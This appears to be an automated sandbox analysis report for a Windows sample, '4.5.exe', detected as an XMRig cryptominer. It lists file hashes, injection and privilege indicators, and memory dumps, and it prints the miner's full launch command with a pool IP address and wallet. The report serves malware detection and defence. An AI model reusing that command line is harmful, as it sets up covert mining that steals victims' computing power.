Analysis
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max time kernel
9s -
max time network
130s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
07-05-2021 13:04
Static task
static1
Behavioral task
behavioral1
Sample
4.5.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
4.5.exe
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Size
12KB
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MD5
e00c93a8d92089c7c76fbe9494756767
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SHA1
e019b100708504bb10225d3e5ab217a4c6e6a07b
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SHA256
67c1bf436244ca2a7be46383189af959086e7f77f6b325f99a0960d745348b10
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SHA512
d216ae9fa7410ed523dbdd99188ed045edda03ba314ca9852b1b660838043661db65507fb4121dc0962f4dd7bd1ef5a535396b31114dfc446269f626286c235d
Malware Config
Signatures
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XMRig Miner Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1004-63-0x0000000140000000-0x0000000140598000-memory.dmp xmrig behavioral1/memory/1004-64-0x000000014016BD98-mapping.dmp xmrig behavioral1/memory/1004-66-0x0000000140000000-0x0000000140598000-memory.dmp xmrig -
Downloads MZ/PE file
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
Processes:
4.5.exedescription pid process target process PID 540 set thread context of 1004 540 4.5.exe 4.5.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
4.5.exe4.5.exedescription pid process Token: SeDebugPrivilege 540 4.5.exe Token: SeLockMemoryPrivilege 1004 4.5.exe Token: SeLockMemoryPrivilege 1004 4.5.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
4.5.exedescription pid process target process PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe PID 540 wrote to memory of 1004 540 4.5.exe 4.5.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4.5.exe"C:\Users\Admin\AppData\Local\Temp\4.5.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\4.5.exeC:\Users\Admin\AppData\Local\Temp\4.5.exe --background --donate-level 1 --nicehash --keepalive -o 185.81.157.186:8080 -u 443PHqLKctFXBXHe4WJfPh9XcLF3YinfzJkNAet7o9pm37YzTUJokPSDvbf2bBgzFUcYWeBVGpYkpjNm8N1ZzRTf7SMUz9F--max-cpu-usage=902⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/540-60-0x0000000000E30000-0x0000000000E31000-memory.dmpFilesize
4KB
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memory/540-62-0x000000001B110000-0x000000001B112000-memory.dmpFilesize
8KB
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memory/1004-63-0x0000000140000000-0x0000000140598000-memory.dmpFilesize
5.6MB
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memory/1004-64-0x000000014016BD98-mapping.dmp
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memory/1004-65-0x00000000002F0000-0x0000000000304000-memory.dmpFilesize
80KB
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memory/1004-66-0x0000000140000000-0x0000000140598000-memory.dmpFilesize
5.6MB
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memory/1004-68-0x0000000000490000-0x00000000004B0000-memory.dmpFilesize
128KB
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memory/1004-67-0x0000000000470000-0x0000000000490000-memory.dmpFilesize
128KB